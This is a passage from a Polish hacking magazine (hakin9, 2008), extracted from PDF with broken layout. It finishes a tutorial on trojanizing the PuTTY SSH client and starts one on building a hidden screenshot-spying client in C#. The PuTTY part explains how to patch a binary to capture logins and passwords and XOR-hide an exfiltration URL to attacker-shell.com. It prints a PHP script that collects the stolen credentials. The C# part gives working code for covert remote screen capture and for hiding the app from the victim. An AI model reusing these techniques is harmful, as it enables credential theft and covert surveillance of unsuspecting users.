 na początku kodu). War-

to zauważyć, że (zgodnie z naszym 
planem)  wszelkie  zmienne  przecho-
wywane są w sekcji 

.data

, poczyna-

jąc od adresu 

0x470B00

. 

Kod  sniffera  został  napisany 

z myślą o kompilatorze TASM. Mu-
si on zostać skompilowany jako plik 

COM. W tym celu wydajemy nastę-
pujące komendy:

tasm /x puttysnf.asm
tlink /x /3 /t puttysnf.obj

W  wyniku  otrzymamy  plik  putty-
snf.com,  który  zawiera  czysty  kod, 
bez  żadnych  nagłówków  –  dzię-
ki  czemu  jego  zawartość  może  zo-
stać wstawiona bezpośrednio do pli-

ku putty.exe pod adres 

0x4F4D1

 (nad-

pisując nasz testowy kod). 

Do wstawienia pliku możemy użyć 

programu  Hiew.  Przechodzimy  pod 
offset 

0x4F4D1

,  zaznaczamy  odpo-

wiednio duży blok klawiszem (*) (kla-
wisz  musimy  wcisnąć  dwukrotnie  w 
celu zaznaczenia początku oraz koń-
ca  bloku),  wciskamy  (CTRL-F2)  aby 
wywołać funkcję 

GetBlk

, która pozwa-

la określić plik do wstawienia. Wska-
zujemy ścieżkę do pliku puttysnf.com i 
zatwierdzamy klawiszem (enter).

Po  zapisaniu  zmian  klawiszem 

(F9)  PuTTY  powinien  wyświe-
tlić  komunikat  zawierający  łańcuch 

created _ string

  zaraz  po  podaniu 

hasła. Okienko to możemy zobaczyć 
na Rysunku 8.

Przesyłamy dane na serwer

Potrafimy  już  przechwycić  dane 
wprowadzane  przez  użytkownika 
oraz  wyświetlić  je  na  ekranie.  Na-
szym  ostatecznym  celem  jest  jed-
nak  przesłanie  uzyskanych  danych 
na wybrany przez nas serwer – tak, 
aby cały proces stał się niewidoczny 
dla użytkownika. 

Do przesłania danych na serwer 

będzie  potrzebny  kanał  komunika-
cyjny. Moglibyśmy wysłać dane jako 
wiadomość e-mail stosując protokół 
SMTP, jednak obsługa tego typu ko-
munikacji  wymagałaby  sporego  na-
kładu kodu asemblera i byłaby dość 
pracochłonna. 

Najprostszym  sposobem  prze-

słania  danych  na  serwer  jest  uży-
cie protokołu HTTP – z tego wzglę-
du,  iż  system  Windows  oferuje 
spory  zestaw  gotowych  do  użycia 
funkcji  przeznaczonych  do  obsłu-
gi  tego  protokołu.  Wykorzystując 
transmisję HTTP jesteśmy w stanie 
przesłać  przechwycone  dane  jako 
parametr  do  skryptu  PHP  umiesz-
czonego  na  odległym  serwerze. 
Implementacja  tego  rozwiązania 
sprowadza  się  do  utworzenia  ad-
resu  URL  (adres  do  skryptu  +  pa-
rametr  zawierający  przechwycone 
dane)  oraz  do  jego  otwarcia  przy 
użyciu  odpowiedniej  funkcji  Win-
dows obsługującej HTTP.

Kod  przykładowej  procedury 

korzystającej  z  HTTP  do  przesła-

Rysunek 9. 

Pomyślnie przechwycone dane pojawiają się w pliku pass.log 

na koncie atakującego 

Listing 4. 

Nagłówki użytych funkcji

HINTERNET

 

InternetOpen

(

  

__in

          

LPCTSTR

 

lpszAgent

,

  

__in

          

DWORD

 

dwAccessType

,

  

__in

          

LPCTSTR

 

lpszProxyName

,

  

__in

          

LPCTSTR

 

lpszProxyBypass

,

  

__in

          

DWORD

 

dwFlags

HINTERNET

 

InternetOpenUrl

(

  

__in

          

HINTERNET

 

hInternet

,

  

__in

          

LPCTSTR

 

lpszUrl

,

  

__in

          

LPCTSTR

 

lpszHeaders

,

  

__in

          

DWORD

 

dwHeadersLength

,

  

__in

          

DWORD

 

dwFlags

,

  

__in

          

DWORD_PTR

 

dwContext

);

BOOL

 

WINAPI

 

CryptBinaryToString

(

  

__in

          

const

 

BYTE

*

 

pbBinary

,

  

__in

          

DWORD

 

cbBinary

,

  

__in

          

DWORD

 

dwFlags

,

  

__in

          

LPTSTR

 

pszString

,

  

__in_out

      

DWORD

*

 

pcchString

);

Backdoory w kodzie binarnym

hakin9 Nr 2/2008

www.hakin9.org

27

nia danych na wejście skryptu PHP 
został przedstawiony na Listingu 3. 
Prześledźmy  jej  działanie.  Proce-
dura zaczyna się od pętli kopiującej 
adres URL (prowadzący do skryp-
tu  PHP)  do  sekcji  .data,  aby  moż-
liwe  stało  się  dopisanie  parametru 
(

data=

)  zawierającego  przechwy-

cone  dane.  Kolejnym  etapem  jest 
załadowanie  odpowiednich  biblio-
tek  potrzebnych  do  otwarcia  adre-
su URL. 

Załadowane zostają dwie biblio-

teki: crypt32.dll oraz wininet.dll. Za-
ładowanie  ich  jest  konieczne,  po-
nieważ  biblioteki  te  nie  są  wyko-
rzystywane  przez  program  PuTTY. 
Pierwsza  biblioteka  zawiera  funk-
cję 

CryptBinaryToStringA

, natomiast 

druga – funkcje potrzebne do wysła-
nia zapytania HTTP (otwarcia adre-
su URL). 

Funkcja 

CryptBinaryToStringA

 

została wykorzystana w kodzie pro-
cedury  do  konwersji  przechwyco-
nych  danych  (przechowywanych 
w łańcuchu 

created _ string

) na kod 

Base64. Kod 

Base64

 gwarantuje po-

prawne  przesłanie  danych  nawet 
w przypadku, gdy użytkownik wpro-
wadzi  znaki  zakazane  w  adresach 
URL. Dodatkowo kod Base64 spra-
wi,  że  zapytania  HTTP  staną  się 
mniej podejrzane dla osób przeglą-
dających logi serwera HTTP.

Na tym etapie wykonywania pro-

cedury  adres  URL  w  pamięci  ma 
następujący  format:  http://attacker-
shell.com/putty.php?data=[base64_
code].Ostatnią  czynnością  jest  wy-
wołanie  funkcji: 

InternetOpenA

  oraz 

InternetOpenUrlA

,  które  to  odpowie-

dzialne  są  za  nawiązanie  połącze-
nia HTTP i przekazanie danych (za-
kodowanych w Base64) do wskaza-
nego skryptu PHP. 

Warto  tu  zauważyć,  że  proce-

dura  każdorazowo  sprawdza  kod 
powrotu  funkcji 

GetProcAddress

.  Ta-

ki test zapobiegnie zawieszeniu się 
programu PuTTY w momencie, gdy 
jedna  z  ładowanych  funkcji  okaże 
się  być  niedostępna  w  danym  sys-
temie. Może się tak zdarzyć w przy-
padku funkcji 

CryptBinaryToStringA

, 

która  to  –  choć  bardzo  wygod-
na – sprawia, że kod staje się ma-

ło  przenośny  (jest  dostępna  dopie-
ro  w  systemach  Windows  XP,  oraz 
Windows Vista). Dlatego, jeśli prze-
nośność  kodu  jest  dla  nas  najważ-
niejsza, powinniśmy rozważyć napi-
sanie własnej funkcji konwertującej 
dane na kod Base64.

Kod  procedury  należy  wstawić 

do  głównego  kodu  naszego  snif-
fera,  tzn.  do  pliku  puttysnf.asm 
(np. na końcu pliku, zaraz nad linij-
ką  zawierającą  napis:  code  ends). 
Przed  zapisaniem  zmian  w  pliku 
musimy również usunąć wywołanie 
funkcji 

MessageBoxA

 (wraz ze wszyst-

kimi  parametrami  zapisywanymi 
na stosie instrukcją 

push

), aby zapo-

biec  dalszemu  wyświetlaniu  komu-
nikatu z danymi na ekranie. W miej-
scu  wywołania 

MessageBoxA

  wsta-

wiamy instrukcję: 

call   send_data

która to wywoła procedurę wysyła-
jącą dane na serwer. 

Tak  powstały  kod 

puttysnf.asm

 

kompilujemy  w  identyczny  spo-
sób,  jak  poprzednio.  Musimy  jed-
nak  poddać  drobnej  edycji  otrzy-
many  plik  COM  przed  wsta-
wieniem  go  do  pliku  putty.exe. 
Procedura 

send _ data

  wykonu-

je  jeszcze  jedną  operację,  która 
nie  została  jeszcze  wspomniana. 
W  pętli 

copy _ str

  znajduje  się  in-

strukcja 

xor

  (exclusive  or).  Każ-

dy znak adresu URL przed skopio-
waniem  do  pamięci  jest  XORowa-
ny wartością 

0x7F

. Spowoduje to, że 

podany  przez  nas  adres  URL  (za-
deklarowany  w  zmiennej 

str1

)  po 

zakodowaniu operacją XOR będzie 
kompletnie  nieczytelny  dla  funkcji 

InternetOpenUrlA

.  W  konsekwen-

cji  –  przechwycone  dane  nie  zo-
staną  przesłane  do  skryptu  PHP. 
Rozwiązanie  tego  problemu  jest 
proste.  Operacja 

XOR

  jest  komplet-

nie odwracalna, dlatego wystarczy, 
że zakodujemy nasz URL operacją 

XOR

 z takim samym kluczem (to jest 

0x7F

). Ponowne użycie operacji 

XOR

 

przez funkcję 

send _ data

 da w wy-

niku niezakodowany adres URL. 

Dzięki  temu  zabiegowi  podany 

przez  nas  adres  URL  będzie  nie-

widoczny dla osoby postronnej, gdy 
ta zdecyduje się podejrzeć plik put-
ty.exe  przy  pomocy  edytora  szes-
nastkowego. 

Edytor Hiew pomoże nam zXO-

Rować  bajty  adresu  URL.  Wystar-
czy  wczytać  plik  COM  do  edyto-
ra,  przejść  na  widok  szesnastko-
wy oraz wcisnąć klawisz (F3) w ce-
lu  rozpoczęcia  edycji.  Następnie 
na  końcu  pliku  odszukujemy  adres 
URL,  po  czym  wciskamy  (F8)  aby 
wywołać  funkcję  XOR  na  każdym 
ze znaków adresu (pomijając ostat-
ni  bajt 

NULL

,  który  to  kończy  string 

i  musi  pozostać  niezakodowany). 
Jako klucz (

xor mask

) podajemy war-

tość 

0x7F

. Po zapisaniu zmian klawi-

szem  (F2),  wstawiamy  tak  przygo-
towany plik COM do pliku putty.exe 
pod offsetem: 

0x4F4D1

. 

Skrypt PHP 

Pozostaje  nam  utworzenie  skryptu 
PHP,  który  będzie  współpracował 
z  naszym  snifferem,  odbierając 
przechwycone  informacje.  Skrypt 
ten musi wykonać trzy czynności:

•

  odczytać dane przesłane metodą 

GET

 na jego wejście jako parametr 

o nazwie data,

•

  skonwertować  kod 

Base64

  (któ-

rym  zakodowane  są  dane)  na 
czysty tekst,

•

  zapisać  zdekodowane  informa-

cje (login/hasło/hostname) w pli-
ku na serwerze.

Listing  4.  przedstawia  przykład 
skryptu  realizującego  wymienione 
zadania.  Skrypt,  oprócz  przechwy-
conych  danych,  rejestruje  w  pliku 
datę oraz czas nadejścia zapytania. 
Rejestrowany  jest  również  adres  IP 
komputera,  na  którym  uruchomiony 
został  program  PuTTY  zawierający 
naszego  sniffera.  Skrypt 

putty.php

 

do  poprawnego  działania  wymaga 
obecności  pliku  pass.log  w  swoim 
katalogu.  Plik  ten  musi  mieć  nada-
ne  uprawnienia  zapisu  dla  demo-
na  WWW  (wydanie  komendy 

chmod 

o+w  pass.log

  powinno  wystarczyć), 

w  przeciwnym  wypadku  rejestracja 
otrzymanych danych w pliku nie bę-
dzie możliwa.

hakin9 Nr 2/2008

www.hakin9.org

Atak

28

Posiadając  skrypt  putty.php  na 

serwerze,  możemy  już  uruchomić 
zmodyfikowaną  przez  nas  wersję 
programu  PuTTY,  próbując  zalogo-
wać  się  poprzez  SSH  na  posiada-
ne przez nas konto. Jeśli nasz sniffer 
działa  poprawnie,  w  pliku  putty.log 
powinny  pojawić  się  wpisane  przez 
nas podczas 

Podsumowanie

Artykuł  pokazuje,  że  modyfikacja 
aplikacji bez dostępu do jej kodu źró-
dłowego  jest  jak  najbardziej  możli-
wa.  Udało  się  nam  odnaleźć  miej-
sce, w którym program PuTTY prze-
chowywał  wprowadzone  znaki  oraz 
dopisać  kod  sniffera,  przechwytują-
cego wrażliwe informacje. To jednak 
nie wszystko – moglibyśmy posunąć 
się o krok dalej i zmodyfikować pro-
gram PuTTY tak, aby nie tylko prze-
chwytywał hasła wpisane w momen-
cie logowania do zdalnego systemu 
na początku sesji SSH, ale również 
hasła wpisywane po wywołaniu sys-
temowych  komend,  jak 

passwd

, 

ssh

, 

czy 

su

 (uwzględnienie ostatniego po-

lecenia stwarza możliwość pozyska-
nia  haseł  administratora  systemu). 
Istnieje  również  możliwość  logowa-
nia całych sesji. 

PuTTY nie jest tu oczywiście wy-

jątkiem.  Podobna  tylna  furtka  mo-
głaby  zostać  osadzona  w  wielu  in-
nych programach z zamkniętym ko-
dem – w tym klientach FTP, progra-
mach  pocztowych,  komunikatorach 
internetowych  czy  przeglądarkach 

WWW. A zatem w aplikacjach, które 
mogą posiadać lub przesyłać istotne 
z punktu widzenia atakującego infor-
macje. Dlatego możemy uznać tego 
typu  modyfikacje  za  poważne  za-
grożenie,  które  może  zostać  wyko-
rzystane  jako  atak  na  użytkownika 
i jego dane. 

Należy  tu  zaznaczyć,  że  tak 

zmodyfikowany  program  PuTTY 
nie  jest  uznawany  za  niebezpiecz-
ny przez oprogramowanie antywiru-
sowe.  Przed  tego  typu  atakiem  nie 
obroni  nieświadomego  użytkownika 
również  zapora  ogniowa.  Jest  to 
spowodowane  tym,  iż  większość 
użytkowników  przy  pierwszym  uru-

chomieniu  programu  PuTTY  naka-
zuje, aby zapora ogniowa przepusz-
czała  cały  ruch  generowany  przez 
tę  aplikację  (zamiast  zezwolić  tylko 
i wyłącznie na ruch SSH), uznając ją 
za całkowicie godną zaufania. W ta-
kim przypadku połączenie HTTP na-
wiązane przez sniffera w celu prze-
słania haseł nie zostanie zablokowa-
ne przez zaporę.

Niezmiernie  ważne  jest,  aby 

użytkownik,  uruchamiając  program 
pobrany z Sieci sprawdzał, czy nie 
został  on  czasem  zmodyfikowany 
przez  osoby  trzecie  (porównując 
sumy kontrolne ściągniętych plików 
z podanymi na stronie producenta). 
Powinniśmy również unikać urucha-
miania aplikacji dostępnych na kom-
puterach  w  miejscach  publicznych 
typu  kafejki  internetowe  czy  biblio-
teki.  Lepiej  przeznaczyć  dodatko-
we parę minut na pobranie aplikacji 
ze strony producenta niż uruchomić 
plik  (który  każdy  mógł  podmienić) 
bezpośrednio z pulpitu. Powinniśmy 
się  również  wystrzegać  pobierania 
programów  ze  stron  z  oprogramo-
waniem,  które  pozwalają  każdemu 
użytkownikowi  serwisu  na  wgranie 
dowolnego  programu  pod  dowolną 
nazwą.  Nigdy  nie  wiadomo,  na  co 
trafimy. l

W Sieci

•  ftp://ftp.chiark.greenend.org.uk/users/sgtatham/putty-0.60/x86/putty.exe  –  wersja 

programu PuTTY, na której bazuje artykuł,

•  http://www.secretashell.com/codomain/peid/download.html  –  program  PeiD, 

przeznaczony do analizy plików PE,

•  http://www.hiew.ru – edytor szesnastkowy Hiew,
•  http://www.ollydbg.de/odbg110.zip – debugger OllyDbg,
•  http://msdn.microsoft.com/msdnmag/issues/02/02/PE – artykuł opisujący budo-

wę plików PE,

•  http://msdn2.microsoft.com/en-us/library/aa385473.aspx – lista funkcji biblioteki 

wininet.dll wraz z dokładnymi opisami ich wywołania.

O autorze

Dawid Gołuński jest pasjonatem, badaczem bezpieczeństwa komputerowego, intere-
sującym się informatyką od wielu lat – w szczególności aspektami związanymi z bez-
pieczeństwem, administracją systemami i sieciami, inżynierią odwrotną oraz progra-
mowaniem. Część swojego czasu spędza jako niezależny security researcher.
Kontakt z autorem: golunski@crackpl.com 

Listing 5. 

putty.php – skrypt odbierający przechwycone dane

<?

php

  

 // Dane zostaja odebrane, zdekodowane oraz zaladowane do odpowiednich 

zmiennych

   

$data

 = 

$_GET

[

'data'

]

;

   

parse_str

(

 base64_decode

(

$data

)

 

)

;

  

 // Pobranie biezacej daty i godziny

   

$cur_date

 = 

date

(

"d/m/y : H:i:s"

, 

time

())

;

   

$new_entry

 = 

"-----:[ Sent on 

$cur_date

 ]:-----

\n

"

;

   

$info

 = 

"From IP address: "

 . 

$_SERVER

[

'REMOTE_ADDR'

]

 . 

"

\n\n

"

;

   

$auth

 = 

"Login: 

$l

 

\n

Password: 

$p

 

\n

Hostname: 

$h

 

\n\n\n

"

;

  

 // Zapis przechwyconych danych w pliku pass.log

   

$log_file

 = 

fopen

(

"pass.log"

, 

"a"

)

;

   

if

 

(

$log_file

)

 

{

      

fwrite

(

$log_file

, 

$new_entry

 . 

$info

 . 

$auth

)

;

   

}

   

fclose

(

$log_file

)

;

?>

www.hakin9.org

hakin9 Nr 2/2008

30

Atak

T

ym  razem  nie  skorzystamy  z  mecha-
nizmu  haków  Windows,  lecz  stworzy-
my  klasyczny  projekt  typu  klient-ser-

wer.  Klient  będzie  uruchamiany  na  kompute-
rze  zdalnym  i  będzie  oczekiwał  na  komendę 
od serwera. Po jej otrzymaniu klient zrobi zrzut 
ekranu, po czym dane te prześle do serwera. 
W projekcie użyjemy protokołu TCP do przesy-
łania zrzutu ekranu. Za pomocą protokołu UDP 
będziemy przesyłać do serwera dane dotyczą-
ce dostępności klientów. Dodatkowo wykorzy-
stamy programowanie wielowątkowe. Aplikację 
klienta  oraz  serwer  napiszemy  używając  dar-
mowego środowiska Visual C# 2005 Express 
Edition.  Będą  to  tradycyjne  projekty  Windows 
Forms,  choć  oczywiście  nie  stoi  nic  na  prze-
szkodzie,  aby  użyć  projektów  Windows  Pre-
sentation  Fundation.  Zakładam,  że  Czytelnik 
posiada podstawową wiedzę z zakresu progra-
mowania w języku C# dla platformy .NET.

Klient

Aplikację  klienta  napiszemy  jako  pierwszą. 
Będzie  ona  standardowym  projektem  typu 
Windows Forms, w którym użyjemy klas plat-
formy  .NET  odpowiedzialnych  za  programo-
wanie  sieciowe.  Będzie  to  aplikacja  urucha-

miana na komputerze zdalnym, więc zadbamy 
o to, aby była tam jak najmniej widoczna. Pro-
jekt  ten  można  połączyć  następnie  z  projek-
tem serwera w ramach jednego zbioru projek-
tów (Solution).

Podglądanie pulpitu

Sławomir Orłowski

stopień trudności

Używając mechanizmu haków w systemie Windows, możemy 

swobodnie przechwytywać poufne dane wprowadzane 

z klawiatury (hakin9 1/2008). Pora teraz podpatrzeć, 

co użytkownik robi na swoim komputerze.

Z artykułu dowiesz się

•   jak  z  poziomu  kodu  C#  utworzyć  połączenie 

TCP,

•   jak z poziomu kodu C# wysłać dane za pomo-

cą protokołu UDP,

•   w  jaki  sposób  używać  komponentów  klasy 

BackgroundWorker,

•   jak używać strumieni do programowania siecio-

wego.

Co powinieneś wiedzieć

•   podstawowa  znajomość  języka  C#  i  platformy 

.NET,

•   jak używać środowiska Visual C# Express Edi-

tion,

•   podstawy  programowania  zorientowanego 

obiektowo,

•   podstawowa  znajomość  sieci  komputero-

wych. 

Podglądanie pulpitu

hakin9 Nr 2/2008

www.hakin9.org

31

Zrzut ekranu

Na  początku  warto  napisać  meto-
dę, za pomocą której będziemy mo-
gli  wykonywać  zrzuty  ekranu.  Roz-
poczynamy  zatem  nowy  projekt 
Windows  Forms.  Niech  nazywa  się 
Klient.  Pozostawimy  również  do-
myślną  nazwę  Form1,  która  repre-
zentuje  okno  (formę)  naszej  aplika-
cji.  Umieścimy  ją  wewnątrz  klasy 

Form1

 (Listing 1). Aby mieć wygodny 

dostęp do klas i metod umożliwiają-
cych  wykonanie  zrzutu  ekranu,  mu-
simy dodać jeszcze przestrzeń nazw 

System.Drawing.Imaging

.

Zasadniczym elementem napisa-

nej przez nas metody 

makeScreenshot

 

jest  użycie  metody 

CopyFromScreen

 

klasy 

Graphics

. Wykonuje ona kopię 

obrazu  ekranu.  Jej  pięć  pierwszych 
argumentów określa obszar ekranu, 
który będzie skopiowany. Ostatni ar-
gument (

CopyPixelOperation

) określa 

sposób  kopiowania  poszczególnych 
pikseli.  My  wybraliśmy 

SourceCopy

, 

co  oznacza  dokładne  kopiowanie. 
Można  jeszcze  np.  odwrócić  kolo-
ry itd. Metoda 

FromImage

 tworzy no-

wy  obiekt  klasy 

Graphics

  z  określo-

nego obrazu.

Przesyłanie zrzutu 

ekranu

Przesyłanie kopii ekranu można zre-
alizować  na  kilka  sposobów.  Najła-
twiej  jest  wysyłać  dane  co  pewien 
odstęp  czasu.  Można  do  tego  użyć 
komponentu 

Timer

. Ja jednak chcia-

łem zaproponować rozwiązanie bar-
dziej uniwersalne, choć – ze wzglę-
du  na  implementację  –  dosyć  nie-
typowe.  Niech  użytkownik  serwera 
sam zdecyduje, kiedy chce wykonać 
zdalny zrzut ekranu. 

W tym celu klient musi oczekiwać 

na odpowiednią komendę od serwe-
ra,  czyli  w  aplikacji  klienta  de  facto 
musimy uruchomić serwer. Podobnie 
jak  w  przypadku  protokołu  FTP,  my 
również użyjemy do obsługi połącze-
nia dwóch portów. Jeden będzie od-
powiedzialny za komendy, a drugi za 
przesyłanie  danych.  Dzięki  takiemu 
rozwiązaniu  komendy  będą  wysyła-
ne  do  klienta  niezależnie  od  prze-
syłanych  danych.  Umożliwi  nam  to 
wstrzymanie  bądź  zatrzymanie  wy-

syłania.  W  przypadku  używania  tyl-
ko jednego portu do obu tych opera-
cji nie mielibyśmy takich możliwości. 
Serwer musi przechowywać listę ak-
tualnie dostępnych klientów. Wystar-
czy  więc,  że  klient  w  momencie  ini-
cjalizacji prześle informacje o swojej 
dostępności. Dla platformy .NET za-
projektowano dwie klasy, które służą 
do połączenia TCP. Są to 

TCPListener

 

i 

TCPClient

. 

Pierwsza  spełnia  rolę  serwe-

ra,  a  druga  klienta.  Aby  wygodnie 
korzystać  z  klas  służących  do  pro-
gramowania  sieciowego,  w  sekcji 
using programu dodajemy trzy prze-

strzenie  nazw: 

System.Net.Sockets

, 

System.Net

 i 

System.IO

. Do klasy for-

my  dodamy  jeszcze  prywatne  pola, 
które będą przechowywały dane po-
trzebne  do  połączenia  się  z  serwe-
rem  oraz  zrzut  ekranu  (Listing  2). 
Pierwsza  zmienna  będzie  przecho-
wywała port, na jakim będą przesy-
łane komendy. 

Druga  zmienna  zawierać  bę-

dzie adres IP serwera. Testowo ad-
res ten ustawiamy na 127.0.0.1, czy-
li adres pętli zwrotnej. Numer portu, 
na którym będziemy wymieniać da-
ne z serwerem, przechowany będzie 
w  zmiennej 

serverDataPort

.  Zmien-

Listing 1. 

Metoda wykonująca zrzut ekranu

private

 

Bitmap

 

makeScreenshot

()

        

{

            

Bitmap

 

bmp

 

=

 

new

 

Bitmap

(

Screen

.

PrimaryScreen

.

Bounds

.

Width

,

Scree

n

.

PrimaryScreen

.

Bounds

.

Height

, 

PixelFormat

.

Format32bp

pArgb

);

            

Graphics

 

screenshot

 

=

 

Graphics

.

FromImage

(

bmp

);

            

screenshot

.

CopyFromScreen

(

Screen

.

PrimaryScreen

.

Bounds

.

X

, 

Screen

.

P

rimaryScreen

.

Bounds

.

Y

, 

0

, 

0

, 

Screen

.

PrimaryScreen

.

Boun

ds

.

Size

, 

CopyPixelOperation

.

SourceCopy

);

            

return

 

bmp

;

        

}

Listing 2. 

Prywatne pola klasy Form1

private

 

int

 

serverCommandPort

 

=

 

1978

;

private

 

IPAddress

 

serverIP

 

=

 

IPAddress

.

Parse

(

"127.0.0.1"

);

private

 

int

 

serverDataPort

 

=

 

25000

;

private

 

string

 

localIP

 

=

 

null

;

private

 

Bitmap

 

image

;

Rysunek 1. 

Widok projektu interfejsu graficznego serwera

hakin9 Nr 2/2008

www.hakin9.org

Atak

32

na 

localIP

  będzie  zawierać  adres 

IP komputera, na którym uruchomio-
ny zostanie klient. Ostatnie zadekla-
rowane przez nas pole będzie prze-
chowywać obraz.

Używając do połączenia TCP klas 

TcpListener

  i 

TcpClient

  działamy  na 

zasadzie blocking socket. Oznacza to, 
że wątek, w którym dokonujemy trans-
akcji TCP będzie zablokowany, dopó-
ki  transakcja  nie  zostanie  zakończo-
na. Jeśli to będzie główny wątek apli-
kacji,  to  jej  interfejs  graficzny  będzie 

niedostępny  w  czasie  trwania  trans-
akcji  TCP.  Zatem  wygodnie  jest  uży-
wać  programowania  wielowątkowe-
go – choć w tym przypadku nie jest to 
konieczne,  ponieważ  nasza  aplikacja 
nie posiada na formie żadnych kontro-
lek. Począwszy od wersji 2.0, platfor-
ma .NET wyposażona jest w wygod-
ny komponent klasy 

BackgroundWorker

. 

Dzięki  niemu  możemy  w  prosty  spo-
sób  wykonywać  podstawowe  opera-
cje wielowątkowe, co w naszym przy-
padku  w  zupełności  wystarczy.  Przy 

skomplikowanym  programie  wielo-
wątkowym lepiej skorzystać jest z klas 
z  przestrzeni  nazw 

System.Threading

. 

Do  projektu  dodajemy  komponent 

backgroundWorker1

. Tworzymy dla nie-

go  metodę  zdarzeniową 

DoWork

,  któ-

ra  odpowiada  za  zadanie,  jakie  bę-
dzie  w  tym  wątku  wykonywane 
(Listing 3). Jak wspomniałem we wstę-
pie, klient powinien oczekiwać na ko-
mendę  wysłaną  przez  serwer,  wyko-
nać zrzut ekranu i dane te przesłać na 
serwer.  Niech  komendą  inicjalizującą 
procedurę  wykonania  zrzutu  ekranu 
będzie  ciąg 

##shot##

.  Konstruujemy 

obiekt klasy 

TcpListener

 i w konstruk-

torze przekazujemy adres IP kompu-
tera oraz port, na jakim aplikacja bę-
dzie nasłuchiwać. Pod zmienną loca-
lIP podstawimy adres IP w konstrukto-
rze klasy 

Form1

 (Listing 4). 

Za  pomocą  metody 

Start

  inicja-

lizujemy  nasłuchiwanie.  Metoda  ta 
nie  blokuje  jeszcze  bieżącego  wąt-
ku. Wątek blokowany jest dopiero po 
użyciu  metody 

AcceptTcpClient

,  któ-

ra  oczekuje  na  połączenie  i  zwraca 
obiekt klasy 

TcpClient

. Za jego pomo-

cą będziemy mogli odczytać dane, ja-
kie otrzymaliśmy podczas połączenia. 
Operacje  sieciowe  dotyczące  odczy-
tu bądź wysyłania przy połączeniach 
TCP to w ogólności operacje na stru-
mieniach. Wystarczy więc umiejętnie 
skonstruować  strumień  i  już  mamy 
możliwość  przesyłania  danych  przez 
sieć. Do obsługi strumienia sieciowe-
go służy klasa 

NetworkStream

. Używa-

jąc metody 

GetStream

 klasy 

TcpClient

 

otrzymujemy  strumień,  który  podsta-
wiamy  do  referencji  ns.  Dalej  za  po-
mocą  metody 

Read

  przepisujemy  do 

bufora typu 

byte[]

 dane, które odczy-

taliśmy ze strumienia. 

Przy  użyciu  metody 

GetString

 

z  klasy 

Encoding

  zamieniamy 

bufor na obiekt typu string. Sprawdza-
my,  jaką  wartość  ma  ten  obiekt  i  je-
żeli  jest  to  komenda 

##shot##

,  wów-

czas  wykonujemy  zrzut  ekranu  i  za-
pisujemy go do pola image. Aby zaj-
mował  on  jak  najmniej  pamięci, 
używamy  kodowania  JPEG.  W  ko-
lejnym  kroku  obraz  zamieniany  jest 
na  strumień  (klasa 

MemoryStream

), 

a  później  na  tablicę  bajtów  (metoda 

GetBuffer

).  Tak  przygotowany  stru-

Listing 3. 

Metoda wywołująca zrzut ekranu, który następnie przesyłany 

jest do serwera 

private void backgroundWorker1_DoWork(object sender,  DoWorkEventArgs e)
  

{

          

TcpListener

 

server

 

=

 

new

 

TcpListener

(

IPAddress

.

Parse

(

localIP

)

, 

serverCommandPort

);

          

serwer

.

Start

();

          

while

 

(

true

)

          

{

              

TcpClient

 

clientCommand

 

=

 

server

.

AcceptTcpClient

();

              

NetworkStream

 

ns

 

=

 

clientCommand

.

GetStream

();

              

Byte

[]

 

b

 

=

 

new

 

Byte

[

8

];

              

int

 

read

 

=

 

ns

.

Read

(

b

, 

0

, 

b

.

Length

);

              

string

 

msg

 

=

 

Encoding

.

ASCII

.

GetString

(

b

);

              

if

 

(

msg

 

==

 

"##shot##"

)

              

{

                  

image

 

=

 

makeScreenshot

();

                  

MemoryStream

 

ms

 

=

 

new

 

MemoryStream

();

                  

image

.

Save

(

ms

, 

ImageFormat

.

Jpeg

);

                  

byte

[]

 

imageByte

 

=

 

ms

.

GetBuffer

();

                  

ms

.

Close

();

                  

try

                  

{

                      

TcpClient

 

client2

 

=

 

new

 

TcpClient

(

serverIP

.

ToString

()

, 

serverDataPort

);

                      

NetworkStream

 

ns2

 

=

 

client2

.

GetStream

();

                      

using

 

(

BinaryWriter

 

bw

 

=

 

new

 

BinaryWriter

(

ns2

))

                      

{

                          

bw

.

Write

((

int

)

imageByte

.

Length

);

                          

bw

.

Write

(

imageByte

);

                      

}

                  

}

                  

catch

 

(

Exception

 

ex

)

                  

{

                  

}

              

}

          

}

  

}

Listing 4. 

Konstruktor klasy Form1

public

 

Form1

()

        

{

            

InitializeComponent

();

            

IPHostEntry

 

IPs

 

=

 

Dns

.

GetHostEntry

(

Dns

.

GetHostName

());

            

localIP

 

=

 

IPs

.

AddressList

[

0

]

.

ToString

();

            

backgroundWorker1

.

RunWorkerAsync

();

        

}

Podglądanie pulpitu

hakin9 Nr 2/2008

www.hakin9.org

33

mień możemy przesłać przez sieć uży-
wając klasy 

TcpClient

. Do przesyłania 

danych binarnych posłużymy się klasą 
BinaryWriter.  Próba  wysłania  danych 
do  serwera  powinna  być  zamknięta 
w  bloku  ochronnym  try-catch,  co 
uchroni  program  przed  zwracaniem 
wyjątków  do  środowiska  uruchomie-
niowego, a co za tym idzie – do zde-
maskowania  się.  Całość  zamknięta 
jest w nieskończonej pętli 

while

. 

Musimy  jeszcze  odczytać  adres 

IP komputera, na którym działa klient 
oraz  uruchomić  wątek  związany 
z  komponentem 

backgroundWorker1

. 

Czynności te wykonamy w konstruk-
torze klasy formy (Listing 4). 

Wysyłanie informacji 

o dostępności klienta

Ważną  funkcjonalnością  aplikacji 
klienckiej  powinno  być  wysyłanie  in-
formacji o dostępności klienta. Dzięki 
temu serwer będzie miał zawsze ak-
tualną listę klientów, którzy są aktyw-
ni.  Użyjemy  do  tego  protokołu  UDP. 
Niech informacja, jaką będzie wysyłał 
klient,  ma  postać  adresIP_klienta:ko-
munikat.  Przy  starcie  klient  powinien 
wysłać  informację,  która  może  wy-
glądać tak: 

127.0.0.1:HI

. Przy kończe-

niu  pracy  powinien  wysłać  informa-
cję 

127.0.0.1:BYE

.  Listing  5  przedsta-

wia  prostą  metodę  wysyłającą  dane 
za pomocą protokołu UDP. Do obsłu-
gi połączenia UDP użyta została klasa 

UdpClient

 i jej metoda 

Send

.

Wystarczy  ją  podczepić  do  zda-

rzenia 

Load

  oraz 

FormClosing

  (Li-

sting 6).

Przypatrzmy  się  jeszcze  przez 

chwilę  sposobowi  działania  klien-
ta.  Aplikacja  ta  będzie  uruchamiana 
na  komputerze  zdalnym  (w  domyśle  
ofiary). Musimy więc zadbać o to, aby 
była  jak  najtrudniejsza  do  odkrycia. 
Na  początek  ukrywamy  okno  apli-
kacji.  Można  to  zrobić  poprzez  wła-
sności 

ShowIcon

  oraz 

ShowInTaskbar

, 

które ustawiamy na 

false

. Własność 

